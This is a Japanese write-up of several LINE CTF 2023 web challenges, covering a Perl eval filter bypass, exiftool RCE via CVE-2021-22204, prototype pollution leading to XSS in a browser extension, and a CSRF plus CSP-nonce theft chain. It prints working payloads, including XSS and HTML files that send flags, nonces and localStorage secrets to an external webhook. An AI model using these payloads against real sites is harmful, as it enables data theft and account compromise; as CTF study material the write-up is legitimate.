このとき、c.ClientIP() != "127.0.0.1"Context.ClientIP が使われていることに注目する。ドキュメントによると、X-Forwarded-ForX-Real-IP といったHTTPリクエストヘッダを参照するらしい。なるほど使えそう。試してみる。

$ curl -H "X-Forwarded-For: 127.0.0.1" "http://34.146.230.233:11000/curl/?url=http://127.0.0.1:8080/flag"
{"body":"{\"message\":\"= LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}\"}","status":"200 OK"}

フラグが得られた。

LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}

[Web 119] Old Pal (67 solves)

How about an Old Pal for your aperitif?

(問題サーバのURL)

添付ファイル: old-pal_83f83ad1987703c23f4ca32725a30385.tar.gz

以下のようなソースコードが与えられている。うわっ、Perlだ。Perlを読んだり書いたりするだけならよいのだけれども、ずらっと並ぶ関数名からフィルターをバイパスして何かをする雰囲気を感じ取って、つらい気持ちになる。

#!/usr/bin/perl
use strict;
use warnings;

use CGI;
use URI::Escape;


$SIG{__WARN__} = \&warn;
sub warn {
    print("Hacker? :(");
    exit(1);
}


my $q = CGI->new;
print "Content-Type: text/html\n\n";


my $pw = uri_unescape(scalar $q->param("password"));
if ($pw eq '') {
    print "Hello :)";
    exit();
}
if (length($pw) >= 20) {
    print "Too long :(";
    die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) {
    print "Illegal character :(";
    die();
}
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
    print "Weak password :(";
    die();
}
if ($pw =~ /[0-9_-][boxe]/i) {
    print "Do not punch me :(";
    die();
}
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
    print "I know eval injection :(";
    die();
}
if ($pw =~ /[Mx. squ1ffy]/i) {
    print "You may have had one too many Old Pal :(";
    die();
}


if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};

どんなフィルターがあるかは後で見ていくとして、まずはこの問題で何をすべきかを確認する。最初と最後の処理を見ると、どうやら password というクエリパラメータを eval した結果が 20230325 と一致していればよいらしい。

my $pw = uri_unescape(scalar $q->param("password"));
if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};

フィルターを見ていく。実行するコードは20文字未満かつ英数字と _, - 以外の文字が含まれていてはいけない。

if (length($pw) >= 20) {
    print "Too long :(";
    die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) {
    print "Illegal character :(";
    die();
}

数字、アルファベット、_- という3つの文字種について、いずれも少なくとも1文字は使われていなければならない。ただ 20230325 と入力するだけでは解けないようになっている。

if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
    print "Weak password :(";
    die();
}

数字や _, - の後に boxe のいずれか1文字が続いてはならない。0b0x, 0o のような接頭辞を使ったり、1.2e3 のように指数表記のために e を使ったりすることでアルファベットを消費させないようにしている。また、M, x, s, q, u, 1, f, y のいずれかが使われている場合も弾いて、めんどくさくしている。

これらに加えて、systemeval といった明らかに危険な関数だけでなく、cosord といった無害な関数も含めて、大量の関数が使えないようになっている。

if ($pw =~ /[0-9_-][boxe]/i) {
    print "Do not punch me :(";
    die();
}
if ($pw =~ /[Mx. squ1ffy]/i) {
    print "You may have had one too many Old Pal :(";
    die();
}

まずはperlfuncPerlの組み込み関数のリストを得て、これらの関数のうち、どれがフィルターがある中でも使えるか確認する。do,lock,no,tr,-r,-w,-o,-R,-W,-O,-e,-z,-d,-l,-p,-b,-c,-t,-g,-k,-T,-B,-A,-C が使えることがわかったが、有用かどうかは微妙なところ。

perlopでどんな演算子があるかを見る。1 or xxx == 20230325 のような構造にすることで、xxx が何であろうがtruthyになると考えたが、残念ながら [0-9_-][boxe] のフィルターに引っかかってしまう。and の場合はそのフィルターには引っかからないが、右辺をどうするかという問題が出てくる。1and20230325 のようにすると、and20230325 がそういう識別子だと解釈されてしまうので、それをなんとかしなければならなくなってしまう。

悩んでいると、ptr-yudaiさんがVersion Stringsなるものを使うことで、たとえば v123{ という文字列になる仕様を見つけた。これを利用して、20230326-v4920230325 が作れる。

LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}

[Web 152] Imagexif (39 solves)

This site provides you with the information of the image(EXIF) file. But there is a dangerous vulnerability here. I hope you get the data you want with the various functions of the system and your imagination.

(問題サーバのURL)

添付ファイル: imagexif_fd327e759b68136117e7f5edfc09ec0e.tar.gz

与えられたURLにアクセスすると、次のような画面が表示される。

画像のアップロードページで適当な画像を投げると、サーバ側でのファイル名、ファイルサイズ、画像サイズなどなど、画像に関する画像が色々と表示された。

docker-compose.yml には以下のような記述があった。フラグは環境変数にあるらしい。この問題ではPythonが使われているが、os.environ での環境変数へのアクセスはないし、FLAG で検索しても docker-compose.yml 以外には見つからない。RCEや任意のファイルの読み出しに持ち込む必要がありそう。

        environment:
            - FLAG=LINECTF{redacted}
            - SCRIPT_ENV=production

以下のようなソースコードが与えられている。なかなかシンプル。ユーザがアップロードしたファイルのファイル名をそのまま使わず、サーバ側で生成したUUIDv4の名前にリネームして使っていたり、拡張子のチェックをしていたりとちょっとセキュアに見える。

import os, queue, secrets, uuid
from random import seed, randrange


from flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response
from flask_executor import Executor
from flask_jwt_extended import JWTManager
from werkzeug.utils import secure_filename
from werkzeug.exceptions import HTTPException
import exifread, exiftool
from exiftool.exceptions import *
import base64, re, ast


from common.config import load_config, Config
from common.error import APIError, FileNotAllowed



conf = load_config()
work_queue = queue.Queue()

app = Flask(__name__)
executor = Executor(app)

app.config.from_object(Config)
app.jinja_env.add_extension("jinja2.ext.loopcontrols")
app.config['EXECUTOR_TYPE'] = 'thread'
app.config['EXECUTOR_MAX_WORKERS'] = 5

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
IMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])


@app.before_request
def before_request():
    userAgent = request.headers

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.errorhandler(Exception)
def handle_error(e):
    code = 500
    if isinstance(e, HTTPException):
        code = e.code
    return jsonify(error=str(e)), code


@app.route('/')
def index():
    return render_template(
        'index.html.j2')

@app.route('/upload', methods=["GET","POST"])
def upload():
    try:
        if request.method == 'GET':
            return render_template(
            'upload.html.j2')
        elif request.method == 'POST':
            if 'file' not in request.files:
                return 'there is no file in form!'
            file = request.files['file']
            if file and allowed_file(file.filename):
                _file = file.read()
                tmpFileName = str(uuid.uuid4())
                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
            else:
                raise FileNotAllowed(file.filename.rsplit('.',1)[1])

        os.remove("tmp/"+tmpFileName)
        return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
    except FileNotAllowed as e:
        return jsonify({
                "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolJSONInvalidError as e:
        os.remove("tmp/"+tmpFileName)
        data = e.stdout
        reg = re.findall('\[(.*?)\]',data, re.S )[0]
        metadata = ast.literal_eval(reg)
        if 0 != len(metadata):
            return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
        else:
            return jsonify({
                "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolException as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("ExifToolException Error Occur", str(e)).__dict__,
        }), 400
    except IndexError as e:
        return jsonify({
                "error": APIError("File extension could not found.", str(e)).__dict__,
        }), 400
    except Exception as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("Unknown Error Occur", str(e)).__dict__,
        }), 400


if __name__ == '__main__':
    app.run(host='0.0.0.0')

このアプリがどうやって画像の情報を取得しているか確認する。該当する部分を以下に抜き出す。情報の取得にはPyExifToolEXIF.pyという2つのライブラリを使っており、前者は画像のサイズやEXIFなど様々な情報の取得に、後者はJPEGのサムネイルの取得のみに使われている。

                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]

ソースコードを見直したが、Path Traversalができそうな場所はどこにも見つからない。ほかの脆弱性も特に思いつかない。仕方がないのでライブラリをチェックすることにして、PyExifToolの実装を見ていると、どうやら exiftool という実行ファイルにファイルを渡すことで画像の情報を取得しているらしいことがわかった。

では、exiftool脆弱性はないか。Dockerfile が配布されていたので見てみたところ、aptを使わず、わざわざバージョンを指定してダウンロードしていることに気づいた。CTFの開催時点での最新バージョンは12.58みたいだし、12.22は2021年3月のリリースとかなり古い。怪しい。

RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
    tar xvf 12.22.tar.gz && \
    cp -fr /exiftool-12.22/* /usr/bin && \
    rm -rf /exiftool-12.22 && \
    rm 12.22.tar.gz

「exiftool 脆弱性」のようなクエリでググると、すぐにCVE-2021-22204という脆弱性が見つかった。CVE-2021-22204で検索するとPoCも見つかる。このPoCを使って生成した画像をローカルで立てたサーバにアップロードしてみたものの、リバースシェルの接続はこないし、アプリからはレスポンスが返ってこない。

あれっと思い docker-compose.yml を見たところ、外部にはアクセスできない設定になっていた。

        networks:
            - line-linectf2023-internal
    line-linectf2023-internal:
        driver: bridge
        internal: true

PoCのコードをいじり、実行されるPerlコードを次のように変える。これで、exiftool -j …printenv の実行結果を返すようになるはずだ。

my $x = `printenv`;
$x =~ s/(.)/sprintf '%02x', ord $1/seg; # https://stackoverflow.com/questions/56183870/how-to-convert-char-string-to-hex-in-perl
print '[{"Hoge":"'.$x.'"}]';

生成した画像をアップロードすると、printenv の実行結果が得られた。

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=70b99d7ec46c
FLAG=LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
SCRIPT_ENV=production
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_VERSION=3.11.2
PYTHON_PIP_VERSION=22.3.1
PYTHON_SETUPTOOLS_VERSION=65.5.1
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
HOME=/root
UWSGI_RELOADS=0
UWSGI_ORIGINAL_PROC_NAME=uwsgi

フラグが得られた。

LINECTF{2a38211e3b4da95326f5ab593d0af0e9}

[Web 290] Flag Masker (9 solves)

Gooood extension to safe flags that are exposed on your screen!

(問題サーバのURL)

flag-masker_36944966730b2d2c9377b434eeec7288.tar.gz

以下のようなメモ帳アプリが与えられる。/ にアクセスすると /(サーバ側で生成されたUUIDv4のパス) にリダイレクトされ、メモを書き留めていけるようになる。メモ帳には所有者の概念があり、URLを共有すると第三者からもメモを見ることができるが、鍵マークにチェックを入れたメモは所有者以外には表示されない。もちろん、<, >, ", ' といったよろしくない記号はいずれもサニタイズされていて、そのままではXSSできそうにない。

配布されたソースコード中の bot というディレクトリに、Puppeteerを使ってこのメモ帳にアクセスするコードがある。/report からメモ帳のパスを通報することができ、通報すると bot 中のコードによってbotがアクセスしに来る。

この bot はオリジナルの拡張機能を導入しており、そいつによって LINECTF{} で囲まれたメモに伏せ字が入る。たとえば、拡張機能を導入していない場合には次のように LINECTF{hoge}LINECTF{fuga} という文字列がそのまま表示されるところ、

拡張機能を有効化すると、次のようにいずれも LINECTF{****} と伏せ字が入る。

Webサーバのソースコードを読んだものの、どこにも脆弱性がないように見える。これは拡張機能脆弱性があるパターンだ。早速読もうとするものの、content.js, worker.js のいずれもminifiedでちょっとめんどくさい。難読化されていないのが救いか。

Webページのコンテキストで実行されるコンテンツスクリプトである、content.js の方から見ていく。beautifyして若干見やすくする。どうやら複数のモジュールがバンドルされているようで、576, 144という2つのモジュールが存在している。576の方は若干長めで、なんらかのライブラリっぽい。適当に含まれているコードの一部で検索すると、PurlというURLをパースするためのライブラリであることがわかった。

144の方がメインの処理っぽい。コードは以下の通り。Local Storageの config というキーになんらかの設定を保存しているようで、もし保存されていなければ /config から fetch して持ってくる。そして、設定に含まれている regex というキー、そして開いているページの headbody をバックグラウンドに投げる。

バックグラウンドで動いているコードからのレスポンスをもとに、もし flag というプロパティがtruthyであれば、/(なんらかのパス)/alert になんらかの情報を通報する。また、headbody を書き換える。

            144: function(t, r, e) {
                "use strict";
                var a = this && this.__importDefault || function(t) {
                    return t && t.__esModule ? t : {
                        default: t
                    }
                };
                Object.defineProperty(r, "__esModule", {
                    value: !0
                });
                var n, o, i = a(e(576));
                console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) {
                    return t.json()
                })).then((function(t) {
                    localStorage.setItem("config", JSON.stringify(t)), o = t
                }));
                chrome.runtime.sendMessage({
                    regex: o.regex,
                    head: window.document.head.innerHTML,
                    body: window.document.body.innerHTML
                }).then((function(t) {
                    t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", {
                        referrerPolicy: "unsafe-url"
                    }))
                }))
            }

バックグラウンドで動いているスクリプトは次の通り。コンテンツスクリプトから飛んできたメッセージをもとに、headbody でそれぞれ与えられた正規表現を使って一部を伏せ字にする。

(() => {
    "use strict";
    (() => {
        console.log("Flag Master - worker script is loaded.");
        var e = function(e, n) {
            const ret = n.replace(e, (function(e, r, a) {
                n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e"
            }))
            return n;
        };
        chrome.runtime.onMessage.addListener((function(n, r, a) {
            var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g");
            ! function(e, n) {
                var r = n.head,
                    a = n.body;
                return e.test(r + a)
            }(t, n) ? a({
                head: null,
                body: null,
                flag: !1
            }): a({
                head: e(t, n.head),
                body: e(t, n.body),
                flag: !0
            })
        }))
    })()
})();

なるほど、一部を伏せ字に置き換える処理で innerHTML を使っているのでそこでXSSができそうだけれども、そのためにはなんとかして設定を書き換える必要がある。ではどうするか。

わざわざ URL でなく、Purlというすでにメンテナンスがされていないライブラリを使っているのが怪しい。調べると、これでPrototype Pollutionができることがわかった。

Local Storageへのアクセスは localStorage.getItem('config') でなく localStorage.config のようにして行われているので、Prototype Pollutionの影響を受ける。また、PurlのPrototype Pollutionは /?__proto__[hoge]=fuga のようなURLをパースしたときに発生するが、このアプリでは n = (0, i.default)(location.href) のように location.hrefPurlによってパースしているので、簡単にPrototype Pollutionを発生させられる。

これで伏せ字を入れる条件となる正規表現を書き換えられるようになったわけだが、ではそれでどうやってXSSに持ち込むか。メモの表示部分が次のようなHTMLになっていることに注目する。

              <li>
                
                <div class="rotate-1 yellow-bg">
                
                  
                      <p>ToDo: ACSC 2023のwriteupを書く</p>
                  </div>
              </li>
              
              <li>
                
                <div class="rotate-2 yellow-bg">
                
                  
                      <p>LINECTF{hoge}</p>
                  </div>
              </li>
              
              <li>
                
                <div class="rotate-1 yellow-bg">
                
                  
                    <i class="fa fa-lock" aria-hidden="true"></i>
                  
                      <p>LINECTF{fuga}</p>
                  </div>
              </li>

このうち、次のスクリーンショットで選択している部分を伏せ字にすることで、<div ****LINECTF{hoge}</p> のように置き換えられる。LINECTF{hoge}a onfocus=alert(123) autofocus contenteditable b とすることで、<div ****a onfocus=alert(123) autofocus contenteditable b</p> のように onfocus, autofocus, contenteditable を持つ div 要素を作り出すことができる。

試しに a onfocus=alert(123) contenteditable autofocus b を投稿してから、DevToolsのコンソールで localStorage.config = JSON.stringify({regex: '(class=[\\s\\S]+?<p>)onfocus'}) を実行してみる。拡張機能を有効化した状態でリロードすると、アラートが出た。実行するコードを (new Image).src = '(webhook.siteのURL)' に変えてbotに通報した…ものの、なぜか発火しない。

botは要素のクリックやキーボードの入力といったことをまったく行わないので、user interactionなしになんとかする方法を考える必要がある。以前ACTF 2022で使ったときはうまくいかなかったが、onanimationend ならばどうだろうか。まず、次のようなメモを投稿する。

a onanimationend=fetch(String.fromCharCode(0x2f)).then(r=>r.text()).then(r=>{Object.assign(new(Image),{src:[String.fromCharCode(104,116,116,112,115,58,47,47,…),r.match(/LINECTF{.+?}/g)[0]]})}) style=animation-name:fa-spin;animation-duration:0.1s;transform:rotate(45deg) b

/(メモ帳のUUID)?__proto__[config]={"regex":"(class=[\\s\\S]%2b?<p>)a%20onanimationend"} を通報すると、botがフラグを投げてくれた。

LINECTF{e1930b4927e6b6d92d120c7c1bba3421}

競技終了後に解いた問題

[Web 193] Adult Simple GoCurl (23 solves)

Read the flag (/flag)

(問題サーバのURL)

添付ファイル: adult-simple-gocurl_9fd03c47bfa6bb6d4687720836633c3d.tar.gz

Baby Simple GoCurlの続き。diffを取ると、次のような変更が加えられていることがわかる。Babyでは 127.0.0.1 からのアクセスであれば /curl/ 中の flag, curl, もしくは % がアクセスさせるURLに含まれていると弾かれるというフィルターをバイパスできたところ、その機能が削除されてしまった。

メタ読みをすると、Babyではヘッダを付与できる機能をまったく使わなかったので、おそらくそれが今回は関わってくるのだろうと推測できる。あとは redirectCheckerreqIp == "127.0.0.1" ならば1回はリダイレクトを許容するという仕様も使いそう。

と言いつつ競技時間内はMDNのヘッダ一覧とにらめっこしたり、有用なヘッダがないか探したりしていたものの、結局見つからず解けなかった。

$ diff -u baby.go adult.go
--- baby.go     2023-02-22 15:54:16.000000000 +0900
+++ adult.go    2023-03-26 06:57:03.812339300 +0900
@@ -32,7 +32,7 @@

        r.GET("/", func(c *gin.Context) {
                c.HTML(http.StatusOK, "index.html", gin.H{
-                       "a": c.ClientIP(),
+                       "a": c.RemoteIP(),
                })
        })

@@ -49,7 +49,7 @@
                reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
                fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

-               if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
+               if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
                        c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
                        return
                }

競技終了後にDiscordサーバを眺めていると、どうやら X-Forwarded-Prefix なるものがあり、しかもGinも対応しているらしいとわかった。試してみると、たしかにフラグが得られた。マジか…。

LINECTF{b80233bef0ecfa0741f0d91269e203d4}

[Web 322] Another Secure Store Note (7 solves)

Just a simple app to store notes.

(問題サーバのURL)

添付ファイル: another-secure-store-note_fc34cb6c20a5c9ea7feca24f29f29e3c.tar.gz

与えられたURLにアクセスすると、次のようにログインフォームが表示される。適当なユーザ名とパスワードを入力してログインする。

ログインすると、メモ帳的なものが表示される。下のフォームがメモ帳で、適当なメモを入力するとLocal Storageに保存される…のだけれども、ただ保存されるだけで、リロードしても画面には表示されないのでメモ帳としては機能していない。上のフォームで名前が変更できる。たとえば、ユーザ名からそのまま取られた nekochan という名前だったところ、以下のように (ΦωΦ) nekochan と変更できた。

ここで <s>test</s> という名前に変更しようとしたところ、以下のように打ち消し線の入った test が表示された。HTML Injectionができるようだ。

ただし、Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-defb556ce596ec412e727047773b79fb6cb1efa5' のようにnonce-basedなCSPがレスポンスヘッダに含まれているので、ただ <script>alert(123)</script><img src=x onerror=alert(123)> のようにスクリプトを挿入するだけでは、XSSに持ち込むことができない。injectionするタイミングで使われるnonceを特定する必要がある。また、名前の変更時にはCSRFトークンが投げられているので、Self-XSSで終わらせないためにもこちらもなんとかして特定する必要がある。

ソースコードが与えられているので、CSRF対策や、CSPとnonce周りの処理を見ていく。まずCSRF対策だが、次のようにログイン時にセッションIDにランダムな文字列をCSRFトークンとして結びつけていることがわかる。nonceも同様。なお、CSRFトークンはログイン時以外では書き換えられていないので、一度特定できればその後いくらでも使い回せる。もう一点気になるところとして、CookieSameSite 属性が None であるため、CSRFがやりやすくなっている。

function rand() { return crypto.randomBytes(20).toString('hex') }

// …

function csrfCheck(req, res, next) { 
  const { csrf } = req.body
  if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
  next()
}

//…

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
  const { username, password } = req.body
  try {
    if (db.users[username]) {
      if (db.users[username].password !== password) throw 'Wrong password';
    } else createNewUser(username, password)
    const newCookie = rand()
    db.cookies[newCookie] = Object.create(null)
    db.cookies[newCookie].username = username
    db.cookies[newCookie].csrf = rand()
    db.cookies[newCookie].nonce = rand()
    res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
    res.redirect('/profile')
  } catch (err) {
    res.redirect(`/?error=${err}`)
  }
})

こうして生成されたCSRFトークンは、次のように views/getSettings.js というテンプレートファイルの一部を書き換えてユーザのもとに届けられる。

const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
  res.setHeader('Content-Type', 'text/javascript');
  const response = ejs.render(settingsFile, { 
    csrf: getCsrf(req.cookies.id),
    domain: process.env.DOMAIN,
  });
  res.end(response);
})

getSettings.js は次の通り。これがログインページや名前の変更ページから読み込まれて、フォームにCSRFトークンがセットされるという形で使われている。これを別のオリジンから読み込んで(せっかく SameSite 属性が NoneCookieが飛ぶので、それを利用して)CSRFトークンを奪おうとしても、document.domain のチェックによって弾かれてしまうのではないかと思ったが、どうやら Object.defineProperty(document, 'domain', …)バイパスできるらしい。これでCSRFトークンを奪えそう。

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

続いて、CSPとnonce周りを見ていく。nonceはログイン時以外にも、/csp.gif へのアクセス時に新しいものに変更される。/csp.gif は名前の変更ページで <img src=csp.gif> でこっそりと叩かれており、名前の変更ページにアクセスするとnonceが変更されるという仕組みになっている。

app.use((req, res, next) => {
  const { id } = req.cookies;
  req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
  const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
  res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
  next()
})

// …

app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
  db.cookies[req.cookies.id].nonce = rand()
  res.setHeader('Content-Type', 'image/gif')
  res.send('OK')
})

// …

app.get('/profile', shouldBeLoggedIn, (req, res) => {
  res.render('profile.ejs', { 
    name: db.users[req.user].name,
    nonce: db.cookies[req.cookies.id].nonce,
  });
})

では、nonceをどうやって盗み出すか。以下に、HTML Injection可能な箇所から、もっとも近いnonceを持つ script 要素までを抜き出した。よく見ると、属性値を " で囲んでいたり、囲んでいなかったり、" でなく ' を使っていたりとちぐはぐになっていることがわかる。

      <h1>📕 <s>test</s> secured notes 📕</h1>
      <div>
        <form method=POST>
          Wanna change your name?
          <input class=change-name type=text name=name placeholder="🐻 Brown">
          <input type=hidden name=csrf id=_csrf>
          <input type=submit value=Submit>
          <p class=red id=error></p>
          <p class=green id=message></p>
        </form>
      </div>
    </div>

    <div class=main>
      Can you tell me a secret? It will securely kept in "localStorage" of this page.
      <textarea id=secret></textarea>
      <input id=submit_storage type=submit value=Store>
      <script nonce=5411ab8642f0f2a4edef6490427d57c7dd5c82a5 type='application/javascript'>

もし <img src='//example.com?a= のような名前にするとどうなるだろうか。試しに変えてみると、script 要素の type= まで、つまりnonceも含んだHTMLの一部が img 要素で読み込まれる画像のクエリパラメータの一部として解釈されていることがわかる。こういった攻撃をDangling Markup Injectionと呼ぶわけだけれども、Chromeなどでは対策が実装されている。

ところで、この問題で使われているPuppeteerを使ったbotは、次のようにFirefoxを使って通報されたWebページの巡回を行っていることがわかる。以前私が作問した問題で、FirefoxがDangling Markup Injectionの対策を実装していなかったために非想定の解法で解かれたという記憶が蘇る。現在はどうだろうか。

    const browser = await Puppeteer.launch({
        product: "firefox",
        headless: true,
        ignoreHTTPSErrors: true,
    });

競技時間中はここまで考えたところでつまずいた。CSPでは Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-…' という制限の中で、どうやって img 要素以外で外部にnonceを持ち出せるのかな~と考えていたのだけれども、眠かったからか <meta http-equiv="refresh" content="…"> という方法が思い浮かばなかった。ということで、次のようにしてCSRFトークンとnonceは盗み出せる。

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<meta http-equiv=refresh content='0;https://webhook.site/…?`;
const form = document.getElementById('form');
form.submit();
</script>

このHTMLをホストしているURLを通報する。ちゃんとnonceを盗み出せてますねえ。

あとはnonceが更新されないように、/csp.gif へアクセスさせない方法を考える必要がある。が、これはCSPを見ると base-uri 'self' とあるので、<base href="/hoge/"> のようにして /hoge/csp.gif という存在しないパスへリクエストが飛ぶよう壊してやればよい。

これで準備は整った。次のような順番で攻撃するスクリプトを書く。

  1. <base href="/hoge/"> に名前を変えて、nonceを固定する(fix-nonce.php)
  2. <base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php に名前を変えて、nonceを盗み出す(steal-nonce.php, log-nonce.php)
  3. <base href="/hoge/"><script nonce=(nonce)>location.href="https://webhook.site/…?"+localStorage.secret</script> に名前を変えて、フラグを盗み出す(inject-script.php)

出来上がったスクリプトは次の通り。

exp.html:

<iframe src="fix-nonce.php"></iframe>
<script>
setTimeout(() => {
    const i = document.createElement('iframe');
    i.src = 'steal-nonce.php';
    document.body.appendChild(i);
}, 1000);

setTimeout(() => {
    const i = document.createElement('iframe');
    i.src = 'inject-script.php';
    document.body.appendChild(i);
}, 2000);
</script>

fix-nonce.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/">`;
const form = document.getElementById('form');
form.submit();
</script>

steal-nonce.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php?`;
const form = document.getElementById('form');
form.submit();
</script>

log-nonce.php:

<?php
